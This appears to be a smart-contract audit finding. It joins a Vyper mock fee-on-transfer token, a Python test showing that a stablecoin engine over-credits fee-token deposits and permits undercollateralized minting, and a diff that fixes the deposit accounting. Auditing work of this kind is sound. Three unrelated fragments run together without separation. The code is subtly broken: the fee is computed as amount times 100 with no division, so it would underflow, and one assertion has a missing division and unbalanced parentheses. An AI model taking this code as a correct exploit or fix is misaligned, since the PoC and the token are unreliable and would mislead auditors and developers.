# pragma version 0.4.0
"""
@title mock_fee_token
@license MIT
@notice A mock ERC-20 that deducts a 1% fee on every transferFrom,
used to test fee-on-transfer (deflationary token) compatibility.
"""
from ethereum.ercs import IERC20
implements: IERC20
from ethereum.ercs import IERC20Detailed
implements: IERC20Detailed
from snekmate.auth import ownable as ow
initializes: ow
from snekmate.tokens import erc20
initializes: erc20[ownable := ow]
exports: (
erc20.totalSupply,
erc20.balanceOf,
erc20.allowance,
erc20.transfer,
erc20.approve,
erc20.permit,
erc20.DOMAIN_SEPARATOR,
erc20.nonces,
erc20.name,
erc20.symbol,
erc20.decimals,
)
NAME: constant(String[25]) = "Mock Fee Token"
SYMBOL: constant(String[5]) = "MFEE"
DECIMALS: constant(uint8) = 18
EIP712_VERSION: constant(String[20]) = "1"
FEE_BPS: constant(uint256) = 100 # 1% fee (100 basis points out of 10000)
@deploy
def __init__():
ow.__init__()
erc20.__init__(NAME, SYMBOL, DECIMALS, NAME, EIP712_VERSION)
@external
def mock_mint():
erc20._mint(msg.sender, 10 * 10**18)
@external
def mint_amount(amount: uint256):
erc20._mint(msg.sender, amount)
@external
def transferFrom(sender: address, receiver: address, amount: uint256) -> bool:
"""
@notice Transfer with 1% fee: fee is burned, receiver gets amount - fee.
"""
erc20._spend_allowance(sender, msg.sender, amount)
fee: uint256 = amount * FEE_BPS
net_amount: uint256 = amount - fee
erc20._burn(sender, fee)
erc20._transfer(sender, receiver, net_amount)
return True
def test_poc_deflationary_token(eth_usd, some_user):
"""
POC: Fee-on-transfer token causes ledger balance > real contract balance.
mock_fee_token charges 1% on every transferFrom.
The protocol records the nominal deposit amount, but only receives 99%.
This inflates the health factor and allows undercollateralized minting.
"""
from src import decentralized_stable_coin
from src.mocks import mock_fee_token
# Deploy a fresh fee-on-transfer collateral token and price feed
fee_token = mock_fee_token.deploy()
with boa.env.prank(some_user):
fee_token.mock_mint() # mints 10e18 to some_user
# Deploy DSC + engine using fee_token as collateral
poc_dsc = decentralized_stable_coin.deploy()
# Reuse eth_usd price feed: 1 fee_token = $2000 (same as ETH mock price)
from src.mocks import mock_token
dummy_token = mock_token.deploy() # second slot placeholder
from src.mocks import MockV3Aggregator
dummy_feed = MockV3Aggregator.deploy(8, 2000 * 10**8)
poc_dsce = dsc_engine.deploy([fee_token, dummy_token], [eth_usd, dummy_feed], poc_dsc)
poc_dsc.transfer_ownership(poc_dsce)
deposit_amount = to_wei(10, "ether") # user tries to deposit 10 tokens
with boa.env.prank(some_user):
fee_token.approve(poc_dsce, deposit_amount)
poc_dsce.deposit_collateral(fee_token, deposit_amount)
# Ledger says 10 tokens, but contract only received 9.9 (1% fee burned)
ledger_amount = poc_dsce.get_collateral_balance_of_user(some_user, fee_token)
actual_balance = fee_token.balanceOf(poc_dsce)
# Bug: ledger overstates holdings by the fee amount
assert ledger_amount > actual_balance, (
f"Expected ledger ({ledger_amount}) > actual ({actual_balance})"
)
assert actual_balance == deposit_amount * 99
f"Expected 1% fee deducted, got {actual_balance}"
)
# Impact: health factor is computed on the inflated ledger amount
reported_collateral_usd = poc_dsce.get_account_collateral_value(some_user)
real_collateral_usd = poc_dsce.get_usd_value(fee_token, actual_balance)
assert reported_collateral_usd > real_collateral_usd, (
"Reported collateral USD should exceed the real on-chain value"
)
# Max mintable DSC based on inflated vs real collateral (50% threshold)
max_mint_reported = reported_collateral_usd * 50
max_mint_real = real_collateral_usd * 50
assert max_mint_reported > max_mint_real, (
"Exploit confirmed: protocol allows minting more DSC than real collateral supports"
)
def _deposit_collateral(
token_collateral_address: address, amount_collateral: uint256
):
+ balance_before: uint256 = staticcall IERC20(token_collateral_address).balanceOf(self)
+ success: bool = extcall IERC20(token_collateral_address).transferFrom(msg.sender, self, amount_collateral) + assert success, "DSCEngine_TransferFailed"
+ balance_after: uint256 = staticcall IERC20(token_collateral_address).balanceOf(self)
+ actual_received: uint256 = balance_after - balance_before
+ self.user_to_token_address_to_amount_deposited[msg.sender][token_collateral_address] += actual_received
- self.user_to_token_address_to_amount_deposited[msg.sender][token_collateral_address] += amount_collateral
- success: bool = extcall IERC20(token_collateral_address).transferFrom(msg.sender, self, amount_collateral)